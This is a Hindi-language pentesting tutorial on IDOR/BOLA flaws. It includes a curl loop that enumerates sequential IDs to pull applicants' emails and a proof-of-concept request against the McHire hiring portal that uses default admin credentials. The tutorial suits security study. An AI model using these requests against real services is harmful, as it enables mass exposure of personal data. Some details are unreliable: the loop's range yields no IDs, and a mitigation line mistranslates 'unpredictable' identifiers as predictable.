8.1 KiB
Raw Blame History

IDOR (Insecure Direct Object Reference)

{{#include ../banners/hacktricks-training.md}}

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) तब प्रकट होता है जब एक वेब या API एंडपॉइंट एक उपयोगकर्ता-नियंत्रित पहचानकर्ता को प्रकट करता है या स्वीकार करता है जो प्रत्यक्ष रूप से एक आंतरिक वस्तु तक पहुँचने के लिए उपयोग किया जाता है बिना यह सत्यापित किए कि कॉलर को उस वस्तु तक पहुँचने/संशोधित करने के लिए अधिकृत है। सफल शोषण सामान्यतः क्षैतिज या ऊर्ध्वाधर विशेषाधिकार-उन्नयन की अनुमति देता है जैसे अन्य उपयोगकर्ताओं के डेटा को पढ़ना या संशोधित करना और, सबसे खराब स्थिति में, पूर्ण खाता अधिग्रहण या सामूहिक डेटा निकासी।


1. संभावित IDOR की पहचान करना

  1. पैरामीटर की तलाश करें जो एक वस्तु को संदर्भित करते हैं:
  • पथ: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • क्वेरी: ?id=42, ?invoice=2024-00001
  • बॉडी / JSON: {"user_id": 321, "order_id": 987}
  • हेडर / कुकीज़: X-Client-ID: 4711
  1. उन एंडपॉइंट्स को प्राथमिकता दें जो डेटा पढ़ते या अपडेट करते हैं (GET, PUT, PATCH, DELETE)।
  2. ध्यान दें जब पहचानकर्ता क्रमबद्ध या पूर्वानुमानित होते हैं - यदि आपका ID 64185742 है, तो 64185741 शायद मौजूद है।
  3. छिपे हुए या वैकल्पिक प्रवाहों का अन्वेषण करें (जैसे "Paradox team members" लिंक लॉगिन पृष्ठों में) जो अतिरिक्त APIs को उजागर कर सकते हैं।
  4. एक प्रमाणित निम्न-विशेषाधिकार सत्र का उपयोग करें और केवल ID को समान टोकन/कुकी रखते हुए बदलें। अधिकृतता त्रुटि की अनुपस्थिति आमतौर पर IDOR का संकेत होती है।

त्वरित मैनुअल छेड़छाड़ (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

स्वचालित सूचीकरण (Burp Intruder / curl लूप)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

2. वास्तविक-विश्व केस अध्ययन McHire चैटबॉट प्लेटफ़ॉर्म (2025)

Paradox.ai-शक्ति वाले McHire भर्ती पोर्टल के मूल्यांकन के दौरान निम्नलिखित IDOR का पता चला:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: किसी भी रेस्तरां परीक्षण खाते के लिए उपयोगकर्ता सत्र कुकी
  • Body parameter: {"lead_id": N} 8-अंकों का, क्रमबद्ध संख्यात्मक पहचानकर्ता

lead_id को घटाकर, परीक्षक ने मनमाने आवेदकों की पूर्ण PII (नाम, ई-मेल, फोन, पता, शिफ्ट प्राथमिकताएँ) प्राप्त की, साथ ही एक उपभोक्ता JWT जो सत्र हाइजैकिंग की अनुमति देता है। रेंज 1 64,185,742 की गणना करने पर लगभग 64 मिलियन रिकॉर्ड उजागर हुए।

Proof-of-Concept अनुरोध:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

संयुक्त डिफ़ॉल्ट प्रशासन क्रेडेंशियल्स (123456:123456) ने परीक्षण खाते तक पहुँच प्रदान की, इस भेद्यता के परिणामस्वरूप एक महत्वपूर्ण, कंपनी-व्यापी डेटा लीक हुआ।


3. IDOR / BOLA का प्रभाव

  • क्षैतिज वृद्धि अन्य उपयोगकर्ताओं के डेटा को पढ़ना/अपडेट करना/हटाना।
  • ऊर्ध्वाधर वृद्धि निम्न विशेषाधिकार प्राप्त उपयोगकर्ता प्रशासन-केवल कार्यक्षमता प्राप्त करता है।
  • यदि पहचानकर्ता अनुक्रमिक हैं (जैसे, आवेदक आईडी, चालान) तो सामूहिक डेटा लीक।
  • अन्य उपयोगकर्ताओं के टोकन चुराकर या पासवर्ड रीसेट करके खाता अधिग्रहण।

4. शमन और सर्वोत्तम प्रथाएँ

  1. हर अनुरोध पर ऑब्जेक्ट-स्तरीय प्राधिकरण लागू करें (user_id == session.user)।
  2. स्वचालित वृद्धि आईडी के बजाय अप्रत्यक्ष, अनुमानित पहचानकर्ताओं (UUIDv4, ULID) को प्राथमिकता दें।
  3. प्राधिकरण सर्वर-साइड पर करें, कभी भी छिपे हुए फ़ॉर्म फ़ील्ड या UI नियंत्रणों पर निर्भर न रहें।
  4. एक केंद्रीय मिडलवेयर में RBAC / ABAC जांच लागू करें।
  5. आईडी की गणना का पता लगाने के लिए रेट-सीमित और लॉगिंग जोड़ें।
  6. हर नए एंडपॉइंट का सुरक्षा परीक्षण करें (यूनिट, एकीकरण, और DAST)।

5. उपकरण

  • BurpSuite एक्सटेंशन: Authorize, Auto Repeater, Turbo Intruder।
  • OWASP ZAP: Auth Matrix, Forced Browse।
  • Github प्रोजेक्ट्स: bwapp-idor-scanner, Blindy (बुल्क IDOR शिकार)।

संदर्भ